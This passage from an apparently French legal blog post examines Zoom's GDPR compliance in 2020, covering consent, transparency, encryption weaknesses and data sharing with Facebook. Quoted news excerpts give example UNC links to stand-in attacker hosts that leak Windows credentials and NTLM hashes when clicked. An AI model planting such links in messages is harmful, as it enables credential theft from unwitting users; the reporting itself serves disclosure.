aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Le\nresponsable du traitement est responsable du respect du paragraphe 1 et est en\nmesure de démontrer que celui-ci est respecté (<strong>responsabilité</strong>).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout traitement de données doit répondre à une finalité légitime telle qu’énumérée à l’<strong>art. 6 [_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le traitement pourra être, soit considéré comme relevant d’un intérêt légitime – avec nécessité de procéder aux tests en trois parties – soit une demande de consentement préalable sera indispensable. Le motif de traitement devra être consigné par le contrôleur le cas échéant sur son registre des traitements <strong>art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy notice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché à tout moment avec le risque d’invalider la licéité de tout enregistrement conservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’art. 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre, spécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte, par une déclaration ou par un <strong>acte positif clair</strong>, que des données à caractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence lorsque les données sont collectées avec précision de l’enregistrement ou toutes diffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots) des meetings. Rappelons que, s’agissant de données biométriques capables d\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci concerne les données des participants et de toutes autres données personnelles traitées lors de la visio-conférence <strong>art. 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] -</strong> les consentements devront être répertoriés au registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des données des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence de chiffrage ou encryptage</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”</em></li><li><em>On 4/3, Citizen Lab&nbsp;<a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;<a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\" encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber\'s company, are outside of China. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation? Once again, Eu personal data is in between China interception and the US Cloud Act interception. Data sent outside the EU in China without users knowledge. \"As <a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn’t have been aware of the findings. But Yuan assured that if user data was being transferred to China when users weren’t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des 